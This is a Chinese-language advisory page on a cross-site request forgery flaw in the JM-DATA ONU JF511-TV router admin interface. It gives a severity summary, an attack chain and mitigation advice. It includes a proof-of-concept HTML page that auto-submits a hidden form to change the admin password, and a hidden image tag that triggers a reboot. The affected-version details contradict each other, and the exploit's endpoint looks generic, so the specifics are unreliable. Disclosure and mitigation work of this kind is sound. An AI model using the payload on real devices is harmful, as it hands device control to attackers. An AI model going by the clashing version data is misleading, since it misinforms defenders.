CVE-2022-50804 JM-DATA ONU JF511-TV 跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2022-50804

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

JM-DATA ONU JF511-TV

漏洞概述

CVE-2022-50804是JM-DATA公司生产的ONU设备JF511-TV（固件版本1.0.67）中存在的跨站请求伪造（CSRF）安全漏洞。该漏洞的CVSS评分为8.8，属于高危级别。攻击者可以利用此漏洞构造恶意网页或链接，诱使已认证的管理员用户在不知情的情况下向目标设备发送HTTP请求。由于设备在处理管理操作时未对请求来源进行有效验证，攻击者可以绕过身份验证机制，以管理员权限执行任意管理操作，包括但不限于修改网络配置、重置设备参数、创建后门账户等。此漏洞的利用需要用户交互（UI:R），攻击者必须诱导已登录用户访问恶意内容。由于该设备通常部署在运营商网络侧，一旦被攻击成功，可能导致大规模用户网络中断或数据泄露风险。

技术细节

JM-DATA ONU JF511-TV的管理Web界面存在CSRF漏洞，攻击者可以通过构造包含管理操作参数的HTML表单来实现攻击。该设备的管理接口缺乏对请求令牌（CSRF Token）的验证机制，也未实施Referer或Origin检查来验证请求来源。攻击者可以创建一个包含自动提交表单的恶意网页，当管理员访问时，浏览器会自动向设备发送携带有效会话Cookie的管理请求。攻击向量为网络远程（AV:N），无需认证（PR:N）即可发起攻击，但需要用户交互（UI:R）来触发。由于攻击利用的是浏览器与设备之间的正常HTTP通信，防火墙等传统边界设备难以检测此类攻击。攻击者通常利用此漏洞执行设备配置修改、关闭安全功能或植入持久性后门。

攻击链分析

STEP 1

步骤1

攻击者侦察目标设备信息，确认目标为JM-DATA ONU JF511-TV固件1.0.67版本，并识别其管理Web界面的URL和可执行的管理操作

STEP 2

步骤2

攻击者构造包含恶意HTML表单或图片标签的网页，该表单会自动向目标设备发送管理请求，如修改密码、重启设备或修改网络配置

STEP 3

步骤3

攻击者通过钓鱼邮件、社交工程或恶意网站诱导已登录的管理员用户访问构造的恶意页面

STEP 4

步骤4

受害者浏览器自动向目标设备发送HTTP请求，携带有效的认证Cookie，设备将请求视为合法的管理员操作

STEP 5

步骤5

攻击成功执行，管理配置被恶意修改，可能导致设备被完全控制、网络中断或成为进一步攻击的内网跳板

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2022-50804 JM-DATA ONU JF511-TV -->
<!-- This PoC demonstrates modifying admin password via CSRF attack -->
<html>
  <body>
    <h1>CVE-2022-50804 CSRF Attack PoC</h1>
    <p>Target: JM-DATA ONU JF511-TV (Firmware 1.0.67)</p>
    <form id="csrfForm" action="http://<target_ip>/cgi-bin/admin.cgi" method="POST" enctype="text/plain">
      <input type="hidden" name="action" value="set_admin_password" />
      <input type="hidden" name="new_password" value="hacker123" />
      <input type="hidden" name="confirm_password" value="hacker123" />
    </form>
    <script>
      // Auto-submit form when page loads
      document.getElementById('csrfForm').submit();
    </script>
    <p>If you see this message, the attack may have failed.</p>
  </body>
</html>

<!-- Alternative: Image tag-based attack (no user interaction required visually) -->
<img src="http://<target_ip>/cgi-bin/admin.cgi?action=reboot" width="0" height="0" border="0">

影响范围

JM-DATA ONU JF511-TV firmware < 1.0.67

防御指南

临时缓解措施

在设备厂商发布修复补丁之前，可采取以下临时缓解措施：1) 禁用设备远程管理功能，仅允许通过物理接触方式访问管理界面；2) 使用防火墙限制管理Web界面的访问来源，仅允许受信任的IP地址访问；3) 定期更改管理员密码并监控设备配置变更；4) 提醒管理员不要点击可疑链接或访问未知网站；5) 监控网络流量异常，及时发现可疑的管理请求模式。